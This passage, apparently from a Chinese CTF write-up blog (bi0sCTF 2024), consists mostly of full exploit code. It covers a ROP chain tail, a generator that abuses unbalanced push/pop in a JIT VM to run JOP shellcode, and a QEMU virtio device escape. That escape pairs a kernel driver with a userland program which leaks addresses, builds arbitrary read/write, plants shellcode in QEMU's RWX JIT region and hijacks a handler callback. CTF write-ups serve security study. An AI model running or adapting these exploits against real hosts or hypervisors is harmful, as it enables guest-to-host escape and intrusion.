payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
payload += p64(libc_read)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
payload += p64(libc_write)
payload += p64(0xdeadbeef)
pause()
p.sendline(payload)
p.send(b"flag\x00")
p.recvuntil(b"flag{")
flag = p.recvuntil(b"}").decode()
log.info(f"flag: flag{{{flag}")
p.interactive()
if __name__ == "__main__":
exp()偷偷吐槽一下垃圾到令人反胃的国内“安全”竞赛环境,距离上次 DEF CON 结束挺久了,好不容易抽出时间打一场比赛还得被恶心


无论是 VM 实现还是 JIT 实现中的 push / pop 都没有检查单个函数中的栈平衡,VM 层只检查了上下界,很明显通过 caller 提前压栈就可以避免越界
在原始 VM 层和 JIT 层都可以通过不平衡的 push pop 劫持返回地址,但是需要绕过 JIT code 生成过程中的栈平衡检查。还有要思考的点就是如何让 VM 层和 JIT 层实现同样劫持到某个偏移上时,效果不同,但是又合理合法,并且能够让 JIT code escape一段空间,使得指令 imm 部分的 JOP shellcode 能够链接上。
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
'''
typedef struct __attribute__((__packed__)) kowaiiFuncEntry
{
u16 hash;
u64 addr;
u8 size;
u8 callCount;
} kowaiiFuncEntry;
typedef struct __attribute__((__packed__)) kowaiiBin
{
u8 kowaii[6];
u16 entry;
u32 magic;
u16 bss;
u8 no_funcs;
kowaiiFuncEntry funct[];
} kowaiiBin;
typedef struct __attribute__((__packed__)) kowaiiRegisters
{
u64 x[MAX_REGS];
u8 *pc;
u64 *sp;
u64 *bp;
} kowaiiRegisters;
'''
'''
/* Opcodes */
#define ADD 0xb0
#define SUB 0xb1
#define MUL 0xb2
#define SHR 0xb3
#define SHL 0xb4
#define PUSH 0xb5
#define POP 0xb6
#define GET 0xb7
#define SET 0xb8
#define MOV 0xb9
#define CALL 0xba
#define RET 0xbb
#define NOP 0xbc
#define HLT 0xbf
'''
def gen_func_entry(hash, addr, size, callCount):
return p16(hash) + p64(addr) + p8(size) + p8(callCount)
def pack_kowaii_bin(entry, bss, no_funcs, entry_list, code_data):
buf = b"KOWAII" + p16(entry) + p32(0xdeadc0de) + p16(bss) + p8(no_funcs)
for func_entry in entry_list:
buf += func_entry
buf = buf.ljust(0x1000, b"\x00")
buf += code_data
return buf
############################## Hack Function ##############################
hack_func_code = b""
# control balanceStack vector when JITgen and make it don't crash the key heap metadata...
for _ in range(0xf):
hack_func_code += p8(0xb5) + p8(0) # push reg[0]
for _ in range(0xf):
hack_func_code += p8(0xb6) + p8(0) # pop reg[0]
hack_func_code += p8(0xb6) + p8(0) # pop reg[0]
for _ in range(8):
hack_func_code += p8(0xb6) + p8(2) # pop reg[2]
hack_func_code += p8(0xb9) + p8(1) + p32(3) # mov reg[1], 3 # modify retaddr to retaddr+3
hack_func_code += p8(0xb0) + p8(0) + p8(0) + p8(1) # reg[0] = reg[0] + reg[1]
hack_func_code += p8(0xb5) + p8(0) # push reg[0]
hack_func_code += p8(0xbb) # ret
hack_func_hash = 0x1111
hack_func_entry = gen_func_entry(hack_func_hash, 0x4000, len(hack_func_code), 0)
##########################################################################
############################## JIT Function ##############################
jit_func_code = b""
# prepare enough space for hack_func() to hack balanceStack vector
for _ in range(8):
jit_func_code += p8(0xb5) + p8(0) # push reg[0]
jit_func_code += p8(0xba) + p16(hack_func_hash) # call hack_func
# this will ret in a shifted position
tmp = p8(0xff) + p8(0xb9) + p8(0) + b"\xaa" + p8(0xbc) + p8(0xbc)+ p8(0xbc) # 0xff, mov reg[0], value32(value16(b"\xaa\xbb")+value8(nop)+value8(nop)+value8(nop))
jit_func_code += p8(0xb9) + p8(0) + tmp # mov reg[0], value32(tmp[:4]); nop; nop; nop
# JOP shellcode
jit_func_code += p8(0xb9) + p8(0) + asm("push r8;")+b"\xeb\x02" # set rbx to 0
jit_func_code += p8(0xb9) + p8(0) + asm("pop rbx; nop;")+b"\xeb\x02"
## open
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02" # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdi;")+b"\xeb\x02" # clear rdi
jit_func_code += p8(0xb9) + p8(0) + asm("push rdx; pop rdi;")+b"\xeb\x02" # load &"flag.txt" into rdi
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rsi;")+b"\xeb\x02" # clear rsi
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdx;")+b"\xeb\x02" # clear rdx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02" # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x2;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02" # open("flag.txt", 0)
## read
jit_func_code += p8(0xb9) + p8(0) + asm("push rdi; pop rsi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rax; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02" # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02" # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x0;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02" # read(rax, bss, 0xff)
## write
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02" # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0x1;")+b"\xeb\x02" # stdout
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02" # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02" # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x1;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02" # write(1, bss, 0xff)
jit_func_code += p8(0xb9) + p8(0) + b"\x90\x90\xeb\x02"
jit_func_code += p8(0xbb) # ret
jit_func_hash = 0x2222
jit_func_entry = gen_func_entry(jit_func_hash, 0x3000, len(jit_func_code), 0xa-1)
########################################################################
############################ Dummy Function ############################
dummy_func_code = b""
for _ in range(0xa):
dummy_func_code += p8(0xba) + p16(jit_func_hash) # call jit_func
dummy_func_code += p8(0xba) + p16(jit_func_hash) # call jit_func
dummy_func_code += p8(0xbb) # ret
dummy_func_hash = 0x3333
dummy_func_entry = gen_func_entry(dummy_func_hash, 0x2000, len(dummy_func_code), 0)
########################################################################
############################ Entry Code ################################
entry_code = b""
# store "flag.txt" string into bss
entry_code += p8(0xb9) + p8(1) + b"flag" # mov reg[1], u32("flag")
entry_code += p8(0xb8) + p8(1) + p32(0)
entry_code += p8(0xb9) + p8(1) + b".txt" # mov reg[1], u32(".txt")
entry_code += p8(0xb8) + p8(1) + p32(0x4)
entry_code += p8(0xb9) + p8(1) + b"\x00\x00\x00\x00" # mov reg[1], u32("\x00\x00\x00\x00")
entry_code += p8(0xb8) + p8(1) + p32(0x8)
entry_code += p8(0xba) + p16(dummy_func_hash) # call dummy_func_code
entry_code += p8(0xbf) # hlt
########################################################################
############################ Pack Bin Data #############################
code_data = entry_code.ljust(0x1000, b"\x00") # 0x1000
code_data += dummy_func_code.ljust(0x1000, b"\x00") # 0x2000
code_data += jit_func_code.ljust(0x1000, b"\x00") # 0x3000
code_data += hack_func_code.ljust(0x1000, b"\x00") # 0x4000
exec_entry = 0x1000
bss_start = 0xc000
func_entry_list =[jit_func_entry, hack_func_entry, dummy_func_entry]
bin_data = pack_kowaii_bin(exec_entry, bss_start, len(func_entry_list), func_entry_list, code_data)
########################################################################
with open("exp.bin", "wb") as f:
f.write(bin_data)
处理 virtio 请求的时候允许下标越界,请求的结构体定义如下

往环形队列里写这个请求结构的数据就可以正常交互
需要同时编写一个内核驱动和用户态程序来完成整个交互,漏洞就是基本的下标越界,越界范围在堆上,可以读写任意下标偏移处的指针——前提是这里刚好存在一个合法的指针。难点主要在于找到稳定的 leak 对象,以及构造任意地址写原语。任意地址写可以通过修改一个引用了同样位于下标可覆盖区域的字符串的字符串指针,将该指针表示的字符串覆盖为一个地址值,这样在某个下标就会多出一个攻击者指定的指针。有了任意地址读写,接下来可以使用 QEMU 用于 JIT 的一个巨大 RWX 段布置 shellcode 实现 open-read-write(这似乎是 QEMU 8.x 一个新特性,属于非预期思路)。
 ](https://eqqie.cn/usr/uploads/2024/03/953821026.png)
KERNELDIR := /home/eqqie/CTF/bi0sCTF2024/virtio-note/linux
obj-m := exp.o
all:
make -C $(KERNELDIR) M=$(PWD) modules
clean:
make -C $(KERNELDIR) M=$(PWD) clean#include <linux/virtio.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/pci.h>
#include <linux/interrupt.h>
#include <linux/io.h> /* io map */
#include <linux/dma-mapping.h> /* DMA */
#include <linux/kernel.h> /* kstrtoint() func */
#include <linux/virtio_config.h> /* find_single_vq() func */
MODULE_LICENSE("GPL v2");
#define VIRTIO_ID_NOTE 42
/* big enough to contain a string representing an integer */
#define MAX_DATA_SIZE 20
typedef enum {
OP_READ,
OP_WRITE
} operation;
typedef unsigned long hwaddr;
typedef struct req_t {
unsigned int idx;
hwaddr addr;
operation op;
} req_t;
struct virtio_note_info {
struct virtqueue *vq;
/*
* in - the data we get from the device
* out - the data we send to the device
*/
req_t in, out;
};
//-----------------------------------------------------------------------------
// sysfs - give user access to driver
//-----------------------------------------------------------------------------
static ssize_t
virtio_buf_store(struct device *dev, struct device_attribute *attr,
const char *buf, size_t count)
{
printk(KERN_INFO "virtio_buf_store\n");
//char tmp_buf[MAX_DATA_SIZE];
//int retval;
struct scatterlist sg_in, sg_out;
struct scatterlist *request[2];
/* cast dev into a virtio_device */
struct virtio_device *vdev = dev_to_virtio(dev);
struct virtio_note_info *vi = vdev->priv;
/* copy the user buffer since it is a const buffer */
size_t copy_size = count > sizeof(req_t) ? sizeof(req_t) : count;
memcpy(&vi->out, buf, copy_size);
// log vi->out
printk(KERN_INFO "vi->out.idx: %#x\n", vi->out.idx);
printk(KERN_INFO "vi->out.addr: %#lx\n", vi->out.addr);
printk(KERN_INFO "vi->out.op: %#x\n", vi->out.op);
/* initialize a single entry sg lists, one for input and one for output */
sg_init_one(&sg_out, &vi->out, sizeof(req_t));
sg_init_one(&sg_in, &vi->in, sizeof(req_t));
/* build the request */
request[0] = &sg_out;
request[1] = &sg_in;
/* add the request to the queue, in_buf is sent as the buffer idetifier */
virtqueue_add_sgs(vi->vq, request, 1, 1, &vi->in, GFP_KERNEL);
/* notify the device */
virtqueue_kick(vi->vq);
return count;
}
static ssize_t
virtio_buf_show(struct device *dev, struct device_attribute *attr, char *buf)
{
printk(KERN_INFO "virtio_buf_show\n");
/* cast dev into a virtio_device */
struct virtio_device *vdev = dev_to_virtio(dev);
struct virtio_note_info *vi = vdev->priv;
printk(KERN_INFO "vi->in.idx: %#x\n", vi->in.idx);
printk(KERN_INFO "vi->in.addr: %#lx\n", vi->in.addr);
printk(KERN_INFO "vi->in.op: %#x\n", vi->in.op);
return 0;
}
/*
* struct device_attribute dev_attr_virtio_buf = {
* .attr = {
* .name = "virtio_buf",
* .mode = 0644
* },
* .show = virtio_buf_show,
* .store = virtio_buf_store
* }
*/
static DEVICE_ATTR_RW(virtio_buf);
/*
* The note_attr defined above is then grouped in the struct attribute group
* as follows:
*/
struct attribute *note_attrs[] = {
&dev_attr_virtio_buf.attr,
NULL,
};
static const struct attribute_group note_attr_group = {
.name = "note", /* directory's name */
.attrs = note_attrs,
};
//-----------------------------------------------------------------------------
// IRQ functions
//-----------------------------------------------------------------------------
static void note_irq_handler(struct virtqueue *vq)
{
printk(KERN_INFO "IRQ handler\n");
struct virtio_note_info *vi = vq->vdev->priv;
unsigned int len;
void *res = NULL;
/* get the buffer from virtqueue */
res = virtqueue_get_buf(vi->vq, &len);
memcpy(&vi->in, res, len);
}
//-----------------------------------------------------------------------------
// driver functions
//-----------------------------------------------------------------------------
static int note_probe(struct virtio_device *vdev)
{
printk(KERN_INFO "probe\n");
int retval;
struct virtio_note_info *vi = NULL;
/* create sysfiles for UI */
retval = sysfs_create_group(&vdev->dev.kobj, ¬e_attr_group);
if (retval) {
pr_alert("failed to create group in /sys/bus/virtio/devices/.../\n");
}
/* initialize driver data */
vi = kzalloc(sizeof(struct virtio_note_info), GFP_KERNEL);
if (!vi)
return -ENOMEM;
/* We expect a single virtqueue. */
vi->vq = virtio_find_single_vq(vdev, note_irq_handler, "input");
if (IS_ERR(vi->vq)) {
pr_alert("failed to connect to the device virtqueue\n");
}
/* initialize the data to 0 */
memset(&vi->in, 0, sizeof(req_t));
memset(&vi->out, 0, sizeof(req_t));
/* store driver data inside the device to be accessed for all functions */
vdev->priv = vi;
return 0;
}
static void note_remove(struct virtio_device *vdev)
{
struct virtio_note_info *vi = vdev->priv;
/* remove the directory from sysfs */
sysfs_remove_group(&vdev->dev.kobj, ¬e_attr_group);
/* disable interrupts for vqs */
vdev->config->reset(vdev);
/* remove virtqueues */
vdev->config->del_vqs(vdev);
/* free memory */
kfree(vi);
}
/*
* vendor and device (+ subdevice and subvendor)
* identifies a device we support
*/
static struct virtio_device_id note_ids[] = {
{
.device = VIRTIO_ID_NOTE,
.vendor = VIRTIO_DEV_ANY_ID,
},
{ 0, },
};
/*
* id_table describe the device this driver support
* probe is called when a device we support exist and
* when we are chosen to drive it.
* remove is called when the driver is unloaded or
* when the device disappears
*/
static struct virtio_driver note = {
.driver.name = "virtio_note",
.driver.owner = THIS_MODULE,
.id_table = note_ids,
.probe = note_probe,
.remove = note_remove,
};
//-----------------------------------------------------------------------------
// overhead - must have
//-----------------------------------------------------------------------------
/* register driver in kernel pci framework */
module_virtio_driver(note);
MODULE_DEVICE_TABLE(virtio, note_ids);#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <time.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define SYSFS_PATH "/sys/bus/virtio/devices/virtio0/note/virtio_buf"
// max 0x40 bytes in a single write
char shellcode[] = {0x6a, 0x01, 0xfe, 0x0c, 0x24, 0x48, 0xb8, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x02, 0x58, 0x0f, 0x05, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb2, 0xff, 0x48, 0x89, 0xee, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0xb2, 0xff, 0x48, 0x89, 0xee, 0x6a, 0x01, 0x58, 0x0f, 0x05 };
typedef unsigned long hwaddr;
typedef enum {
READ,
WRITE
} operation;
typedef struct req_t {
unsigned int idx;
hwaddr addr;
operation op;
} req_t;
int fd;
int sysfs_fd;
uint32_t page_offset(uint32_t addr) {
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr) {
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr) {
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
void virtio_write(unsigned int idx, hwaddr addr) {
req_t write_buffer = {
.idx = idx,
.addr = addr,
.op = WRITE,
};
write(sysfs_fd, (void *)&write_buffer, sizeof(req_t));
usleep(300000);
}
void virtio_read(unsigned int idx, hwaddr addr) {
req_t read_buffer = {
.idx = idx,
.addr = addr,
.op = READ,
};
write(sysfs_fd, (void *)&read_buffer, sizeof(req_t));
usleep(300000);
}
int main(int argc, char *argv[]) {
int r;
void *userbuf;
uint64_t phy_userbuf;
fd = open("/proc/self/pagemap", O_RDONLY);
if (!fd) {
perror("open pagemap");
return -1;
}
sysfs_fd = open(SYSFS_PATH, 'r');
/* allocate a user buffer */
userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED) {
perror("mmap userbuf");
return -1;
}
mlock(userbuf, 0x1000);
phy_userbuf = gva_to_gpa(userbuf);
printf("userbuf: 0x%lx\n", (uint64_t) userbuf);
printf("phy_userbuf: 0x%lx\n", phy_userbuf);
char buffer[] = "THIS_IS_A_TEST\x00";
memcpy(userbuf, buffer, strlen(buffer));
// test
virtio_write(0, phy_userbuf);
memset(userbuf, 0, 0x1000);
virtio_read(0, phy_userbuf);
printf("userbuf = %s\n", userbuf);
// leak elf_base
uint64_t tmp_ptr = 0;
memset(userbuf, 0, 0x1000);
virtio_read(19, phy_userbuf);
tmp_ptr = *(((unsigned long long *)userbuf)+4);
printf("[*] leak tmp ptr: 0x%lx\n", tmp_ptr);
uint64_t elf_base = tmp_ptr - 0x86c800;
printf("[*] elf base: 0x%lx\n", elf_base);
// leak obj_base
tmp_ptr = 0;
memset(userbuf, 0, 0x1000);
virtio_read(56, phy_userbuf);
tmp_ptr = *(((unsigned long long *)userbuf)+4);
printf("[*] leak tmp ptr: 0x%lx\n", tmp_ptr);
uint64_t obj_base = tmp_ptr - 0;
printf("[*] obj base: 0x%lx\n", obj_base);
uint64_t note_list = obj_base + 0x210;
printf("[*] note list: 0x%lx\n", note_list);
uint64_t ptr_l2_idx = 19;
uint64_t ptr_l1_idx = 30;
// test leak obj
uint64_t leak_test_ptr1 = obj_base+0x78;
memset(userbuf, 0, 0x1000);
virtio_read(ptr_l2_idx, phy_userbuf);
*(((unsigned long long *)userbuf)+0) = leak_test_ptr1;
virtio_write(ptr_l2_idx, phy_userbuf);
memset(userbuf, 0, 0x1000);
virtio_read(ptr_l1_idx, phy_userbuf);
uint64_t test_data1 = *(((unsigned long long *)userbuf)+0);
printf("[*] test leak data1: 0x%lx\n", test_data1);
// test leak elf
uint64_t leak_test_ptr2 = elf_base;
memset(userbuf, 0, 0x1000);
virtio_read(ptr_l2_idx, phy_userbuf);
*(((unsigned long long *)userbuf)+0) = leak_test_ptr2;
virtio_write(ptr_l2_idx, phy_userbuf);
memset(userbuf, 0, 0x1000);
virtio_read(ptr_l1_idx, phy_userbuf);
uint64_t test_data2 = *(((unsigned long long *)userbuf)+0);
printf("[*] test leak data2: 0x%lx\n", test_data2);
// write shellcode
//uint64_t shellcode_addr = elf_base - 0x48236000;
uint64_t shellcode_addr = elf_base - 0x20000000;
memset(userbuf, 0, 0x1000);
virtio_read(ptr_l2_idx, phy_userbuf);
*(((unsigned long long *)userbuf)+0) = shellcode_addr;
virtio_write(ptr_l2_idx, phy_userbuf);
memset(userbuf, 0x90, 0x1000);
memcpy(userbuf, shellcode, sizeof(shellcode)); // load shellcode
virtio_write(ptr_l1_idx, phy_userbuf);
printf("[*] write shellcode to: %#lx\n", shellcode_addr);
// try hijack vnq->virtio_note_handle_req
/* get vnq ptr */
uint64_t vnq_ptr_pos = obj_base+520;
memset(userbuf, 0, 0x1000);
virtio_read(ptr_l2_idx, phy_userbuf);
*(((unsigned long long *)userbuf)+0) = vnq_ptr_pos;
virtio_write(ptr_l2_idx, phy_userbuf);
memset(userbuf, 0, 0x1000);
virtio_read(ptr_l1_idx, phy_userbuf);
uint64_t vnq_ptr = *(((unsigned long long *)userbuf)+0);
printf("[*] vnq ptr: 0x%lx\n", vnq_ptr);
/* modify virtio_note_handle_req */
uint64_t callback_pos = vnq_ptr+0x58;
memset(userbuf, 0, 0x1000);
virtio_read(ptr_l2_idx, phy_userbuf);
*(((unsigned long long *)userbuf)+0) = callback_pos;
virtio_write(ptr_l2_idx, phy_userbuf);
memset(userbuf, 0, 0x1000);
virtio_read(ptr_l1_idx, phy_userbuf);
*(((unsigned long long *)userbuf)+0) = shellcode_addr;
virtio_write(ptr_l1_idx, phy_userbuf);
printf("[*] hijack callback in: 0x%lx\n", callback_pos);
// trigger
memset(userbuf, 0, 0x1000);
virtio_read(30, phy_userbuf);
close(sysfs_fd);
return 0;
}